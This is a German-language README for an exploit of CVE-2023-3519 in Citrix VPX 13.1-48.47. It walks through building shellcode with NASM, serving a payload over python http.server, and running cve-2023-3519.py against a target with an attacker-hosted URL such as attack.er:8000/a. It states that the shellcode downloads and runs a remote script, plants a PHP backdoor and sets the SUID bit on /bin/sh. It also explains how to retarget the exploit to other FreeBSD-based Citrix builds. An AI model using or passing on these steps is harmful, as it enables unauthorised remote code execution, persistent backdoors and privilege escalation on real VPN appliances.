
Dieser Exploit verwendet Adressen und Shellcode für Citrix VPX 13.1-48.47. Für den vollständigen Bericht klicken Sie hier.
NASM ist erforderlich, um den Shellcode zu erstellen.
$ sudo apt install nasm
Der enthaltene Shellcode lädt ein Shell-Skript von einem entfernten http(s)-Server herunter und führt es aus. Das Skript akzeptiert 3 Argumente: den Zielhost, den Zielport und die URL eines Shell-Skript-Payloads. Ein Beispiel-Payload, der id und uname -a ausführt, bevor er sich selbst bereinigt, ist in diesem Repository enthalten.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
Die URL muss kurz genug sein, um in den Shellcode-Puffer zu passen, und Sie erhalten eine Warnung, wenn sie zu lang ist.
Der Shellcode erstellt eine PHP-Backdoor in /var/netscaler/logon/a.php und setzt das SUID-Bit auf /bin/sh. Der enthaltene sh-Payload zeigt ein Beispiel für die automatische Bereinigung dieser Artefakte. Beachten Sie außerdem, dass der Shellcode seine Dateideskriptoren nicht schließt; übermäßige wiederholte Ausnutzung kann daher zu einer Erschöpfung der Ressourcen führen.
Für FreeBSD-basierte Citrix-Ziele müssen Sie nur 3 Werte ermitteln: den Offset des gespeicherten Rückgabepointers, ein jmp rsp-ROP-Gadget (oder etwas Gleichwertiges wie push rsp; ret;) und die Adresse, zu der gesprungen werden muss, um einen Absturz zu vermeiden. Diese Parameter sind alle nahe dem Anfang von cve-2023-3519.py hartcodiert.